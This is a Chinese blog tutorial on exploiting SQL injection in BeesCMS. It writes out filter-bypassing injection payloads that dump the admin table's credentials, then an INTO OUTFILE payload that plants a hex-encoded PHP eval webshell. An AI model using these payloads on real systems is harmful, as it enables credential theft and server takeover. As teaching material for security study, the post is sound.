SQL注入讲解-BeesCMS系统漏洞分析溯源

本文详细描述了一种通过识别网页框架指纹、利用SQL注入漏洞进行目录遍历和爆库的方法,同时介绍了如何使用shell脚本进行联合查询,针对Cenots系统环境下的渗透思路和技术应用。
摘要由CSDN通过智能技术生成

判断网页框架

在这里插入图片描述

渗透思路

以前的思路
1.首先识别一下指纹 根据指纹查找历史漏洞(同样适用现在)
2.查找目录(目录里面会有很多惊喜)
通过御剑后台扫描工具找到文件夹后在网页打开文件夹进行测试
通过百度搜索查看历史漏洞
查看源代码发现它对账号和密码只有二个加密
在这里插入图片描述
在这里插入图片描述
我们通过burp来查看它有sql漏洞

在这里插入图片描述
爆库-123%27 an and d extractvalue(1,concat(0x7e,database()))%23
在这里插入图片描述
an and d extractvalue(1,concat(0x7e,(seselectlect gr group oup_concat(table_name) fr from om information_schema.tables whe where re table_schema i in n (database())),0x7e)) %23
在这里插入图片描述
没有显示出来我们可以用not in
在这里插入图片描述
an and d extractvalue(1,concat(0x7e,(seselectlect gr group oup_concat(column_name) fr from om information_schema.columns whe where re table_name i in n (bees_admin)),0x7e)) %23
在这里插入图片描述
an and d extractvalue(1,concat(0x7e,(seselectlect gr group oup_concat(admin_name,admin_password) fr from om bees_admin),0x7e)) %23
在这里插入图片描述
解码出来是admin 答案是对的 然后的话如果不显示全部的话可以用substr这个参数an and d extractvalue(1,concat(0x7e,substr((seselectlect gr group oup_concat(admin_password) fr from om bees_admin),1),0x7e)) %23 显示全部
我这边用的是别人搭建的网站
在这里插入图片描述

在这里插入图片描述

shell

请记住写shell脚本是这个网站可以使用联合查询语句union select
首先我们使用order by 知道它有5列
admin’ uni union on seselectlect 1,0x3C3F70687020406576616C28245F524551554553545B276F627365275D293B203F3E,3,4,5 i into nto outoutfilefile ‘/var/www/html/s.php’#
如果细心一点在前面我们爆破的时候就知道他是cenots的系统了那么目录就应该在var/www/html 也可以使用@@datadir 查看路径
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  • 8
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ryongao

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值